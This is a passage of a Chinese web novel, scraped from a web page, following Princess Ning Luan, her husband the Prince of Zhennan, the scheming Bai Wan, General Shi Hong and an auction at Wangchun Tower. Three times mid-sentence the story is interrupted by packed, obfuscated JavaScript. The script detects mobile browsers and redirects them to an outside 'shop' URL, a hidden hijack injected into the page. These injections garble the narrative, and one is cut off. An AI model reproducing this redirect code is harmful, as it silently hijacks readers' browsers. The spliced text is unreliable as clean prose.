时鸿看着宁鸾温柔的面容，不知怎的，恍惚间又想起望春楼气质出尘的林公子，只观二人举手投足间，神韵竟有着几分相似。 思及林公子，时鸿只觉眼前的宁鸾倍感亲切，竟话多攀谈起来。 “方才多有失礼，还未恭贺王妃大喜。” 宁鸾倒是有些意外，不知喜从何来，轻微诧异问：“将军何出此言呢？” 时鸿爽朗一笑：“上旬的朝会上，宁丞相向圣上讨要了恩典，亲自晋封容夫人为一品诰命夫人，可不是大喜！” 宁鸾嘴角的笑意凝固了一瞬，她以绢扇掩面，轻描淡写道：“正是呢，将军消息灵通，我竟疏忽了这事。” “我见那丞相府门庭若市，不知容夫人近来身体可好？”时鸿憨笑。 宁鸾声音如常，只道：“家母近日受些风寒，患上喉疾还未痊愈，不便见客，都是家父应酬着。” “既是如此，本还想前往丞相府一贺，现下看来倒是不便了。不过……” 时鸿猛一拍头，激动地说： “这不是巧了！丞相府定是不缺灵药，可将军府自酿的桂花蜜糖堪称一绝，可用来润喉最好不过，明日我就挑些好的给丞相府送去。” 宁鸾眸光微动，看向案几上琥珀色的蜜糖水，诧异问： “桂花蜜糖？可是席上喝的这种？” 时鸿伸头一看，连称正是。 “这蜜糖水正是桂花蜜糖所泡。这桂花蜜采自将军府的桂花林。采来蜂蜜后，再佐以梨膏、桃片等物，按秘制比例瓮制半年，兑水饮用最佳。” 时鸿兴致勃勃，侃侃而谈。宁鸾不由拿起案上糖水，细细品味，果然感受出其中的不同滋味来。 若是能将此物引进望春楼，往后特色佳肴中，也就又能多上一样了。只是不知，将军府肯不肯与望春楼做成这笔买卖。 “我正爱喝甜的，慎之说这蜜糖水不错，不想竟是将军府特制。”宁鸾端起恰到好处的端庄笑意。 “若王妃不嫌弃，稍后我送几罐去镇南王府便是，也好以此物向王妃聊表歉意。”时鸿朗声一笑，甚是豪爽。 “那便多谢将军美意了。” 程慎之静坐一旁，默然看着二人交谈。方才宁鸾对这小子语焉不详的态度，已让他心下不爽。此刻见二人相谈甚欢，胸中更觉烦闷。 偏偏此刻，他什么也不能说。 程慎之执起酒盏，闷头连饮数杯。案几上，酒壶不知何时已然见底。 “再拿壶酒来。”程慎之唤来小厮，又送来一壶烈酒。 宁鸾见程慎之赌气似的，一杯连着一杯，一时摸不着头脑。她拉了拉程慎之的袖口，轻声问：“怎么了？” 程慎之低眸看向杯中晃动的酒液，只淡淡道：“无事。” 宁鸾也不想多问，只当是他喜爱这烈酒，想起边塞征战的时光。 总不能是因为多与时鸿说了几句话吧？ 宁鸾抿了口蜜糖水，香气扑鼻，甜香细腻，确实不错。 …… 酒过三巡，二人乘马车回府时已是深夜。 宁鸾回房沐浴更衣，程慎之径直去了书房，只说公务尚未处理完。管家闻着他身上的酒气，忙不迭去取早已备下的醒酒汤。 宁鸾虽喝酒不多，见后厨备下的是青梅橙子熬煮的甜汤，便也要了一碗。 程慎之独坐在书房，面前是父亲安南王传来的回信。 信中之言不过寥寥几句，除知程慎之打算以外，还在信尾特意提到，他的二哥又喜添麟儿，其长子世孙已八岁有余，如今慎之已是弱冠之年，却膝下无福。 安南王言语平缓，旁敲侧击询问他，是否纳妾以备生育。 抚摸着信纸，程慎之陷入沉思当中。 安南王世子有三，长子披甲出征，奔赴前线，已战死沙场数载。次子爱好风雅，醉心琴棋书画，对打仗领兵一事一窍不通，早早娶妻纳妾，做了个富贵闲人。 唯有他程慎之，自幼习武射箭，苦读诗书，三年前便统帅三军，连拿异族七城，生生被皇帝封了镇南王，将他择出了安南王府。 上次一封家书，程慎之字字恳切，表达虽受皇恩浩荡，却血浓于水，一心向着安南王府。而今日这封回信，安南王爷字里行间，也都是对程慎之的殷切期盼，暗藏血脉相连，父子情分依旧。 那么…… “哐哐哐。”书房的门被轻轻叩响，在安静的夜晚显得格外突兀。 “进来吧。” …… “青露，明日将军府若送桂花蜜糖来，你找时间带一罐去那边。青霜或许也会喜欢。” 宁鸾洗浴完，穿了身样式简单的宫制长裙，乌云般湿润的青丝被柔软的丝缎裹着。 “是，小姐。我记下了。”青露忙不迭点头。 宁鸾坐在妆台前，青露接了绸缎为她擦拭头发。透过镜子，宁鸾见青露心不在焉，时不时看向窗外。 “怎么了？”宁鸾拨弄着一支雀穿莲花金簪。 “方才您沐浴的时候，白挽姑娘又来过了。”青露低声回话。 “哦？我只当她忘了，没想到还惦记着。” “是啊，上次白姑娘来找过小姐，小姐不在，便没了后话。没想到过了这么几天，白姑娘又来找小姐，不知是为了何事。” 话音未落，房内响起了敲门声。 “这么晚了……”青露低声嘟囔着，一边用问询的眼光看向自家小姐。 宁鸾将手中金簪放回妆匣，抚了一把半干的长发，站起身来：“去开门吧，别让人家久等了。” 青露答了一声。门外，白挽一身月白素袍站在廊下，手中提着精致食盒。 夜风沁凉，吹起她的裙摆，皎洁的月色衬得她脸色愈发苍白。 “王妃。”白挽在门口微微福身。“奴家听闻王爷王妃回府，又喝了些酒，自作主张做了一点养胃的点心，还请王妃笑纳。” 她巴掌大的脸上扯出一丝笑意，神情柔弱地看向屋内的宁鸾。“听闻王爷素喜南部美食，奴家只想着解酒用此物最好不过。” 宁鸾的目光落在她发红的指尖上，心中叹了一口气。 “外面风大，进来说吧。” …… “王爷，醒酒汤和点心，奴才给您放这了。”书房内灯火摇曳，管家王叔漏夜前来， 程慎之低头看加急送来的战报，朱笔轻勾，并未搭话。 王叔有些踌躇，顿了一顿又道：“这点心是白姑娘亲手所做。今日晚膳过后，白姑娘便借了后厨，前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576077|187118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前后后忙碌大半天，连厨娘都不许帮忙。” 程慎之掀起眼皮，目光扫过食盒中精致的枸杞酥酪方糕，随口问：“验过了？” 王叔低头禀报，额上沁出细汗：“验过了，糕点中并无问题，只是这食材……” “哦？”程慎之这才抬头，看向王叔。“食材有何特别之处？” 王叔将头埋得更低，“白姑娘走后，奴才差人问过所用食材，发现皆是……皆是……” 程慎之挑眉，声音中听不出情绪：“皆是什么？” 王叔咬牙：“皆是滋补壮阳之物。” 程慎之：“……” “端下去处理了吧。” …… “拿过来吧。”宁鸾自如落座。 青露上前接过白挽手中的食盒，在圆桌上将东西铺展开来。 白挽与宁鸾相对而坐，桌上一盏精致的鎏金琉璃花彩珐琅宫灯亮得晃眼，其下摆放着白挽带来的枸杞酥酪方糕和梅子甜汤，瞧着倒颇为精致可口。 宁鸾执起小勺，漫不经心地拨弄着碗中汤羹，灯光映在她精致的侧脸上，勾勒出分明的轮廓。 “这些日子在府中，白姑娘住得还惯吗？” 白挽闻言神色踌躇，显出几分拘谨和无措来，“多谢姐姐关怀，在府中……一切都好。” 过了半晌，她又唯唯诺诺添了一句，“只是以前未曾来过京州，心中难免有些惶恐。” 白挽偷偷抬眼，见宁鸾并无动容之色，心中一慌。她咬牙露出凄苦的神情，抬眸间眼角流转泪光，羞怯说道： “这事本不该妹妹来说，可妹妹自幼丧母，父亲又远在南部不愿进京。当初父亲救下王爷，只想我能在王府里衣食无忧。可我进王府这么多天来，宛若无根浮萍，无依无靠。” 她说到动情处，仰头深吸一口气，缓缓平复了情绪，才继续道： “自古父母之言媒妁之命，婚姻大事向来由不得自己。可我父亲远在天边，京中也无人为我做主。” “所以，奴家想向王妃求得恩典！”白挽突然站起，对着宁鸾跪倒在地。 “白挽一生不要名分，只求能陪在王爷身边。做个侍妾也好，为奴为婢也好，只愿有一丝机会！求王妃姐姐垂怜！” “啪”地一下，灯罩中的烛火爆出一朵灯花，骤然将宁鸾的侧脸映得半明半暗。 白挽跪伏于地，指甲几乎将掌心掐出血痕。 宁鸾端坐桌前，居高临下地垂眸看着她，嘴角带着若有若无的笑。 “白姑娘。”宁鸾慢条斯理开口。“这件事，你应当已对慎之提过了吧？” 白挽抿紧唇，猛地抬头，眼中慌乱一闪而过。 在她看来，自己已是退让了一步。他不求名分，只愿常伴王爷左右，时日久了，总能换来几分真心。 可如今，不仅王爷未给她丝毫机会，就连素来温和贤德的王妃，竟也是这般态度。 她不愿全信慕达莎的话语，还想凭自己的方式做最后一搏，不料几番试探，换来的竟是这般狼狈。 白挽低头掩藏眼底跳动的火焰，只听宁鸾手中汤勺轻落，瓷器间乍然相触，发出轻微的脆响。 “白姑娘。”宁鸾俯身，指尖轻挑起白挽的下巴，迫她迎上自己的目光。 “你可知，这世间最愚蠢的事情是什么？” 18. 拍卖请帖 烛火跳动，白挽瞳孔微颤，不自觉地屏住了呼吸。 宁鸾忽然低笑，松手放开她，缓缓站起身。 “那便是，一个女人，如花似玉的女人，将所有的期望，所有的愿景，通通押在一个男人身上。” 宁鸾睫毛低垂，吐出的话语轻缓。 “王爷带你进府，保你衣食无忧，并不代表他就会真正怜惜你。”她转过身，看着呼吸徒然急促的白挽。 “你以为放下身段，不要名分，换来了他的垂怜我的应允，凭借着这身漂亮的皮囊，能在王府便能过上人人羡慕的生活。” “可殊不知，你父亲救命之恩换来的情分，终究会被岁月磨平，在那之后，才是痛苦的开始。” “姐姐……可是……”白挽几乎失了全身的气力，声音发颤着辩白，“可是在王爷心中，一定有我，他对我那么好，王妃你就一点都不在意吗？” 宁鸾轻笑一声，坐回桌前，拿起灯簪子挑拨灯芯。烛火在她眼中热烈地跳动，口中却传出平静的声音： “白姑娘，你该在意的，是我心里……还容不容得下你。” “青露，”宁鸾侧头唤道，“送白姑娘回房吧。” 雕花木门合拢，室内重新陷入寂静，宁鸾独自走到窗前。窗台案几的花盆下，压着一封刚刚递来的密信。 “慕达莎……”宁鸾用唇语念出这个名字，嘴角勾起温和的笑容。 …… “听够了？在门外等很久了吧。” 铜镜里映出宁鸾的身姿，她手持玉梳划过半干的青丝，顺出一捧柔顺的弧度。 “吱呀”一声，雕花木门再次开合，程慎之背光站在门外。 “你早就知晓？”他目光紧锁对镜梳妆的宁鸾，声音低哑而暗沉。 宁鸾无辜地回望他，声音一如往常，“知晓什么呢？” 执梳的手再次抬起，一下一下顺着满头的青丝。 “是知道她想成为你的侍妾，你的侧妃，还是——她的父亲因酗酒过度，突发恶疾，前些日子已暴毙在了南部偏远的小县城里？” 程慎之瞳孔微缩。 宁鸾挑眉，声音里带着几分玩味，“镇南王殿下，你不会真以为，她给你送糕点，就是为了给你解酒吧？” 程慎之沉默片刻，忽而冷笑着反问：“那你呢？” 他猛然逼近，双手撑住狭窄的妆台，高大俊美的身影压下来，似乎是要将身下人整个淹没。唇齿轻启，程慎之温热的吐息扑到她耳旁： “今日在席间对时鸿那般热情，当真为了那几罐桂花蜜糖？” 宁鸾笑意更深，直直抬眼与他对视，神情里没有半分畏惧。她伸出手抚过他冷俊的脸颊，手上的银丝盘纹双镯碰撞出清脆的声响。 “那是自然，慎之都觉得那蜜糖不错，我岂有不要的道理。” 青葱般的指轻抚过他略有胡茬的下巴，宁鸾缓声道：“若是你还想喝，明日我再找那有趣的小将军讨些来？” 程慎之眸色更加深邃，唇边带上一丝嘲讽的笑意。他一把抬手，抓住宁鸾撩拨的手腕，不由自主地牵至唇边一吻。 仓皇转身去了书房。 一夜无话。 …… 白挽在侧殿枯坐整晚，指甲抠进掌心，掐出几个泛白的月牙。 借时鸿的庆生宴，她原以为今夜本是万无一失。 宴席散后，程慎之必定带着醉意归来，酒意熏染下，那个战场上运筹帷幄的王爷，哪还会有平日里的半分清明？ 她亲手备下解酒的糕点，以解酒为名，说抚慰之言。三分刻意七分真情，最是动人情肠。 待一切水到渠成，以程慎之王爷之尊，断然做不出始乱终弃的事。 届时，她白挽便可堂而皇之的入主王府，哪怕是当个侍妾，只要能在王府站稳脚跟，假以时日略施手段，当个侧妃绝非什么难事。 在那吃人不吐骨头的村中摸爬滚打多年，她什么大风大浪没见过，什么腥风血雨没闯过。 不狠，就只能被别人啃得骨头都不剩。 还好，她早已做好了狠下去的准备。 白挽眼底闪过一丝绝情，若是程慎之还要推拒，她便不得不依附于慕达莎了。 本以为宁鸾那个温吞天真的性子，收拾起来根本不在话下。 谁知道，竟是人算不如天算。 她精心制作的糕点，她反复练习的姿态，她设想好的每一步，竟全被那老管家拦了个正着！ 不仅没能去书房，还让她将糕点送去给王妃！ 当时见招拆招，白挽眼珠一转，顺水推舟接了差事。之前在程慎之面前碰过钉子，既然宁鸾是个好说话的，不如求了宁鸾做主。 堂堂王妃，本就该给王爷纳妾娶妻，更何况他们成婚这么多年，宁王妃都未曾给程慎之诞下一儿半女，本就失了妾妃之德。 程慎之在外征战三年有余，那是她宁鸾没福气，横竖都是肚子不争气。 白挽那时越想越得意，只觉宁鸾德行有失，不堪一击。只要到时候以“王府子嗣”为由头，再搬出王爷救命恩人女儿的身份，想来就算宁鸾万般不愿为王爷娶妻纳妾，也该识相将她迎入府中。 再者，横竖有恩情在身，程慎之必不会当众给她难堪。 到那时，她白挽便是府中堂堂正正的妻妾，甚至稍动心思，何愁等不到与宁鸾平起平坐？ 白挽算盘打得飞快，仿佛已经看见自己身着嫁衣的模样。 可谁能料到，那个看似温软可欺的宁鸾，竟将她逼至如此狼狈的境地！ 宁鸾盯住她的那一瞬间，白挽连呼吸都几乎停滞。 那眼神像是一匹蛰伏已久的狼，在满月之夜，紧盯着猎物，眼中发出冷然的红光。 白挽的喉咙仿佛都被扼住，连冲到嘴边的辩解，都凝滞在宁鸾摄人的威势之下。 思及至此，白挽打了个冷战。 指甲狠狠掐进掌心，疼痛让她从仇恨中回神。 她长舒一口气，缓缓起身走至窗前，夜晚的风带着几分凉意，拂在她面无表情的脸庞上。 指尖抚过镶嵌在匕首上的光滑猫眼，白挽下定了决心。 她朱唇轻启，溢出一段奇异的哨音，这正是那日慕达莎教她的传信密语。 不过多时，一只纯白的信鸽振翅而来，悄然停在窗台上，猩红如血的眼睛里，折射出诡异的光。 …… 翌日，下朝时分。 程慎之刚迈出金銮殿，便被一道魁梧身影横挡在前。 程慎之眉头微皱，前几日的庆生宴上，这时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576078|187118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸿小将军还怕他怕到不行，见了他就像老鼠见了猫，恨不得远远绕路走，今日倒是敢当众拦人了。 “时鸿将军，有何要事？”程慎之语气平淡。 时鸿不好意思地搓了搓手，像个小媳妇般扭捏了半晌，才开口问道： “镇南王爷，我……我想问，王妃她是否还有兄弟或是姐妹？” 程慎之打量了他雄伟的身型，一时间不知道这话因何而起。 “末将绝无冒犯之意！”时鸿话一出口，自知失言，忙解释道：“只是之前看见王妃，就觉得她特别面善，眉眼姿态间，像极了末将的旧识。” “可是我寻遍京州，也联系不上他。”时鸿垂下眼睫，长叹了一口气。“甚至我还冒昧拜访了丞相府，可直到见了宁大公子，才知道自己错认了人。” 程慎之眸色骤冷。 时鸿恍若未觉，他喉结滚动，声如蚊呐，嘀咕道：“可王妃和林公子，当真有几分神似……” 见程慎之脸色愈发阴沉，时鸿急得声音打颤，“您可千万别误会！我……我对王妃没有半点觊觎之心！京州谁不知道您同王妃举案齐眉，伉俪情深！末将实在是走投无路了，这才……” “并无。”程慎之打断了他的话头，一身朝服略过时鸿衣袍。 时鸿还未反应过来，呆立在原地。 “啊？没有……当真没有？” 程慎之已然走远。 “哎——王爷且留步，末将还有一事相求！” 四周下朝的同僚们频频侧目，好奇地打量着他们。 程慎之大袖一挥，装作没听到，更加大步流星地朝着宫外走去，腰间玉佩在风中撞出凌乱的声响，像是时鸿在原地心碎的声音。 …… 刚回到王府，踏入书房的程慎之，还未喝上一口热茶，管家王叔便捧着帖子匆匆呈上。 本以为可以落得清闲的程慎之：…… “将军府送来的？”他揉着眉心，身上还穿着上朝用的锦缎官袍。 细细读过之后，程慎之抬脚出了书房。 “望春楼的拍卖会？”宁鸾倚在窗边贵妃榻上，闻言从《山海经》中抬起眼，表情诧异地望向程慎之。 程慎之将请帖递去，“时鸿那小将军送来的，说是今夜望春楼珍宝阁中的拍卖会难得，他特订了位置，邀请你我二人同往。” 宁鸾打量着请帖，信笺纸上墨迹犹新，是时鸿略显仓促的笔迹。 纸后附着两张望春楼拍卖行的通行证，做工精致无比，用银线做了缠枝花纹包边，中间写明拍卖会的地点和时间。 “慎之可要去？” 宁鸾手拿请帖，抬头看向程慎之。 程慎之颔首，“去，据说这是近年来京州最大的拍卖会，去看看也是好的。” 他略微一顿，指腹无意识摩擦着腰间玉佩，“我还在寻一样东西，去撞撞运气吧。” 宁鸾瞟了一眼玉佩，笑着起身，“那我更是要去了，前几日才新得的孔雀纹绣袍，正愁没地方穿呢。” 程慎之望着她翻找衣物的欢腾背影，心中泛出几丝苦涩的甜蜜。 当年如果没有那些阴差阳错，或许他们也像正常夫妇一般，温馨而平淡地度过日日夜夜。 可这世上，终究没有如果。 19. 镜花水月 夜幕降临，望春楼早早点起了六角铃灯，鎏金灯罩在微风中轻旋，缓解了些许夏日的燥热。 “台阶。” 程慎之虚扶着宁鸾的手腕下了马车。 出征三载，他忍不住望向四周，京州坊市中早已换了景致。 曾经灰墙黛瓦的低落房屋，如今立起数座描金飞檐的楼阁，其中，以眼前的望春楼最盛。 “王爷！你们可算到了！” 未见其人，先闻其声。时鸿从望春楼正门大步跨出，他卸了早上那身制式玄甲，套了一身张扬的赤色劲装，腰间悬挂着一把精干的剑。 宁鸾一眼看去，正是当日望春楼所出的那把玄烈剑，配上了朱红色的剑穗，煞是惹眼。 时鸿同样也在打量着他们。 只见程慎之身着玄色宽袖长袍，袖边领口处缀着银丝祥云图样，在夜色中反射出丝丝流光。 宁鸾并肩站在程慎之身侧，一身孔雀蓝织锦长裙宛若碧波荡漾，贴身的剪裁包裹出姣好的身段。一张小脸从交织领口漏出来，五官大气明媚。她耳尖缀着水滴形的翡翠耳坠，随着步伐轻轻摇晃，识货之人一眼便知价值连城。 与简约耳坠相对的，是头上略显复杂的坠仙髻，以三支点翠金簪固定，雍容大气。 时鸿喉结不明显地滚动，脑中划过暗室中碧玉晴雪剑的样式。 “不长记性！”时鸿突然一巴掌拍在自己头上，顿时收敛了心思。 不顾旁人异样眼光，时鸿赶在程慎之冷刀子般的眼神落下前，指引着二人穿过悬挂蓝底金匾的大门，嘴中絮叨着： “拍卖会在六楼珍宝阁，展品应该已经送到了，现在上去还能提前看看……” 程慎之面色不悦，扭头看向宁鸾。却见宁鸾笑意盈盈，像是满心好奇般上下打量着这望春楼，压根没有注意到时鸿的目光。 心中暗自叹了一口气，程慎之仰头望向大厅，只见楼内流光溢彩，雕梁画栋。 虽已是夜幕将至，飞天鎏金灯将楼内照得亮如白昼，层层墨绿色帷幕将大厅分隔开来，穿着统一的侍从训练有素。 “不知王爷王妃可曾来过这望春楼？”时鸿咧嘴一笑，抬手向他们介绍着。 “这一楼是大厅，往日里做饮茶会客之用，楼上每层风格用处各有不同。” 跟随着时鸿的步伐，三人一同走向侧面的雕花旋转楼梯，向着六楼走去。 “时将军常来此处？”程慎之指尖抚过朱漆护栏，楼梯间隙中，可见帷幕后隐约的人影。 时鸿爽朗一笑，脸上泛起可疑的羞涩。 “之前在此结识了一位公子，甚是投缘，我还是第一次见气势如剑之人，便总想来望春楼碰碰运气。” 宁鸾捂嘴轻笑，好奇问道：“时厉东大将军不会介意吗？听说他最厌恶这些风月场所。” “王妃，这您就有所不知了！”时鸿摆手，脸上闪过兴奋的光，“我原先也以为，这望春楼是风月快活之地。可拜访次数多了，才知道这望春楼里另有文章。” “哦？”程慎之也被他提起了兴趣，“有何妙处？” 时鸿扶着雕花楼梯，如数家珍：“寻常茶坊，往往以说书助兴，可这望春楼不同。” 时鸿向楼下一指，示意他们向下看去。 “望春楼一楼的茶座中央，设有双面圆台，中间以幕布隔开。” “每个时辰在戏台安排评书戏曲等节目，昼夜不歇，偶尔还有楼上的舞姬乐妓下楼表演，堪称花样百出。” 话音未落，一阵甜腻香气扑面而来，熏得几人心驰神往，不由得酥了骨头。 “那便是四楼了，”时鸿突然语塞，结结巴巴道：“那是有名的温柔乡，姑娘个个绝妙无双，琴棋书画无一不通。况且最特别的是……” 他支吾着，竟难得显出几分局促。 宁鸾莞尔一笑，解围道：“早已听闻望春楼的规矩与众不同，若是姑娘不愿，便是王孙贵族也是强迫不得的。” “正是如此！” 时鸿如蒙大赦，不好意思地挠挠头，见二人氛围融洽，他不禁开口道：“日后若是末将要娶妻，也盼着能像王爷王妃这般，寻一恩爱之人，两情相悦，传为佳话。” 话一出口，气氛骤然凝滞。 程慎之低头看看宁鸾，见她面无表情走在他身侧，对时鸿的言语恍若未闻。 时鸿见没人答话，后知后觉地僵住，慌忙转移开话题。 “这下面的楼层也就罢了，最神秘的还是顶上的七层。”时鸿下意识摩挲着腰间的剑柄，“那七层只有楼主钦点之人，才可踏入，可这几年来，并没有人知道进入的标准。” 时鸿自嘲一笑，眼前又浮现出那个戴着面具的出尘身影。 自那日小春台一别，他几番尝试再访那位神秘的楼主。可拜帖都不知递了多少封，每每前往，都被七楼的侍从冷言相拒，只道非请不得擅入。 而那日在六层珍宝阁与林公子惊鸿一瞥，时鸿便存了心思。既然林公子偶尔会下楼探看，那么自己在楼下守株待兔也未尝不可。 这些时日，他得了空便往望春楼跑，几乎将楼中上下逛了个遍，自然是熟悉得不行。 “到了！”时鸿带着人踏上六楼，眼前景致顿时豁然开朗。 眼前六楼的珍宝阁，比往日里多了数座琉璃展柜，已是围聚了不少人在此欣赏品鉴。 “时公子，您前些日子的委托已有下落了。”一位灰袍侍者快步迎来，对着几人恭敬行礼。 “当真？”时鸿闻言眼睛一亮，当即扭头，对着程慎之二人开口，“近日听月影剑重出江湖，便委托望春楼帮忙一寻，不成想今日有了着落。” 时鸿脸上的沮丧一扫而空，神情中是抑制不住的兴奋。 “不知王爷王妃可赏脸一观？” “可。”程慎之微微颔首。 三人跟随侍者指引，来到古色古香的紫檀木多宝柜前。那柜台后全是如药柜般密密麻麻的抽屉，抽屉上挂着不同的木制号牌，落着不同的锁。 那侍者从容开锁，拉开其中一个抽屉，将剑匣递给时鸿。 时鸿迫不及待，三两下打开剑匣。只见匣开刹那，一抹清冷剑光倾泻而出。 整把剑呈青色，仅在剑柄处镶嵌橙色月光石，触之温润。剑身流转着淡色光晕，在灯光照射下真如月影朦胧，将三人面容照得影影绰绰。 “当真是把好剑。”程慎之亦是好剑之人，不由自主赞叹出声。 时鸿沉醉在剑光的温柔中，指尖发颤，险些要当众亲吻剑身。 勉强按捺住冲动，他依依不舍地合上剑匣，“直接送到将军府上吧，多谢。” 转身看向展柜，那展柜中样样皆是今日拍卖会珍品，台上以夜明珠照明，一旁两名侍卫持刀看守。 程慎之饶有兴致地打量着，时鸿在一旁陪同。 “咳……”宁鸾突然以绢帕掩唇，不住发出低沉的咳声。 她眼睫低垂，缓缓道：“王爷且在这看拍品吧，我去外边凉台走廊透透气，稍后便回。” 状若无意避开程慎之担忧的视线，宁鸾独自走向一边的凉台。 夜风拂过朱漆雕栏，将鬓边的碎发吹得纷乱。她再没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不悔。”青霜的睫毛剧烈颤动，说出的话语却是坚定无比。 宁鸾的目光顺着滑落的汗水，落在脖颈尚未痊愈的烫伤上。那深色的细痂结在莹白的皮肤上，显出几分丑恶的狰狞。 “傻丫头。” 宁鸾的叹息消散在夜风里，她伸手将青霜单薄的身子蓝入怀中。 她早该想到的，能让青霜这个死心眼的丫头违抗命令，自甘领罚的，从来都只有那一种可能。 “想做什么便去做吧，望春楼已经圈了你太久了。” 宁鸾轻拢着青霜盘起的发，语气轻缓，“但是你要答应我，无论想做什么，都要保护好自己。” 青霜心中的忐忑终于落了地，她紧紧攥住宁鸾的衣袖，像是抓紧了最后的光。 她按捺不住心中的委屈，声音中带上一丝哽咽： “可是主子，他的心中……恐怕从来都没有我毫分。” 他的心里，只有林公子为他营造的一场幻梦。 青霜眼前闪过暗室中一张张画卷，那是这么多年来，她唯一向主子隐瞒的秘密。 明知这一切皆是饮鸩止渴，镜花水月，她却依旧贪恋着这虚幻的月光。 宁鸾轻拢她黑纱下的秀发，声音轻得像是一片雪花： “别怕，放手去做吧。哪怕是大梦一场，醒来后，你还有望春楼这个永远的家。” 20. 真假宝珠 楼内突然传来丝竹悠扬之声，宾客们的谈笑声如潮水般涌出，这是拍卖会即将开始的信号。 宁鸾轻抚青霜的眼尾，指尖触到一丝湿润。 “你有了自己的心事，也不告诉我。”她柔声安抚着青霜，像哄一只受惊的雏鸟，眼中满是怜惜。 “这些年你为望春楼倾尽所有，却把所有的苦楚都藏进肚子里，青露那丫头常说，虽然她自己不靠谱，可最令旁人担心的人，却是你。” 青霜怔住，猛然抬头望向宁鸾精致温婉的脸。 “等把望春楼的事务交接妥当，便去做想做的事情吧”宁鸾的声音温和落在耳边，“就当是我许你的长假。” 这是要……赶她走？ 青霜呼吸一滞，喉咙中仿佛被东西堵住了。她眼中满是彷徨，半晌才沙哑挤出一句话： “主子，您不要青霜了么？望春楼……也不再需要青霜了吗。” 宁鸾摇头，指尖轻点她的眉心，语气无奈又包容，“又说傻话，这是你的家，怎会不要你。若是让我贸然舍去你这得力干将，我还不肯呢。” 宁鸾褪下指节的象牙骨戒，牵起青霜的手为她戴上。戒圈严丝合缝，仿佛本来就该在那里。 青霜一惊，这枚戒指，能调动宁鸾大半势力。只要她想，整个望春楼都在她的号令之下。 青霜正欲开口，却见宁鸾摇头，紧紧握了握她的手。 屋内乐声愈发悠扬，宁鸾不便多说，转身离去，裙摆带起一阵香风。 青霜紧握骨戒，在凉台外站了许久。待到夜幕沉浸，她深吸一口气，几步轻功掠进屋内。 今晚的拍卖会事关重大，容不下半分差池。 …… 宁鸾轻车熟路回到大厅，程慎之等人已在拍卖行入口处等候多时。 “久等了罢？”宁鸾提起裙摆，笑意盈盈走上前来。 “无妨。”程慎之暗自打量，见宁鸾神色无异，这才稍微放下心来，抬首示意侍者带路。 时鸿显然并未参加过类似拍卖会。一路跟在侍者身后满脸激动，四处打量。 穿过深红色帷幕包裹的长廊，侍者推开鎏金门扉，将三人引入雅间之中。屋内陈设多为红木雕花，鎏金琉璃宫灯头顶高悬，散发出柔和暖光。 正对门处，整面墙壁被打通，改造成镂空的景观台。台边用上好木料做了护栏，虚虚圈成一个半圆。头上悬垂下一副浅金色轻纱，如帘幕一般，柔婉笼住整个景观台。 程慎之信步上前，透过薄纱向外望去，台下正是半圆形的拍卖大厅，座席间已有了七八成锦衣华服的宾客。 “单论这一副鲛纱细帘，价值便不下千金。”程慎之挑眉看向时鸿，“时将军出手阔绰，当真是好气魄。” 时鸿脸色白了三分，此时才猛然惊觉，自己竟被安排进了这等顶级包厢，而非坐在大厅的那种普通座席。 “假的吧……”时鸿浑浑噩噩上前几步，手中捻起一缕鲛纱细看，“这纱也没什么特别的，就是透亮些，色泽好看些，竟也能价值千金？” 程慎之双手抱胸，慵懒倚栏而立，目光扫过整个拍卖大厅，漫不经心开口道： “这是东海采来的鱼皮，由手巧的渔女以特殊手法捻丝纺织。透过这块纱，从内而外看去，外界之物纤毫毕现。” 他忽而转身，走到宁鸾旁边坐下，悠然执壶，执壶斟茶地动作行云流水。又缓然道： “但若光线设置恰当，外人向内窥探，便只能看见一片金光流转，丝毫不能看透内里的情形。” 时鸿闻言，手指一抖，那缕鲛纱从指尖滑落，在宫灯下折射出细微的碎光。 他收回手，仓皇打量四周陈设。案几上摆放着官窑瓷器，墙上挂着几幅名家真迹，就连脚下踩的，都是进贡来的织锦地毯。 时鸿喉结滚动，自觉无论损坏哪一样，自己的身家都够不上赔的。他讪讪在墙边找了个椅子，像只误闯进屋的大鹌鹑般缩着坐了。 不过多时，拍卖开始。 前几件拍卖物勉强可算稀罕，但远还称不上珍宝。几人兴致缺缺，场内很快便有人拍下了。 程慎之端起茶水，不动声色瞥向宁鸾。不知为何，他总觉得今日的宁鸾格外沉静，自踏入雅间后，便默然不语，只犯懒般靠在雕花座椅中，有一搭没一搭地看着拍卖场内的情形。 他下意识抬手轻抚胸口，隔衣触到两物一冷一热，合着他的心跳微微起伏。 究竟什么时候，才能把它送出去呢…… 时鸿看了一会儿拍卖，又耐不住寂寞，搓着手凑近二人道：“今日望春楼这般大的排场，进来后又三番五次地核对请帖，”他压低声音：“该不会真要拍卖些见不得光的东西吧？” “咔嚓——” 话音未落，刚端起茶盅的宁鸾指尖一颤，竟猛然将杯盖摔落在地。 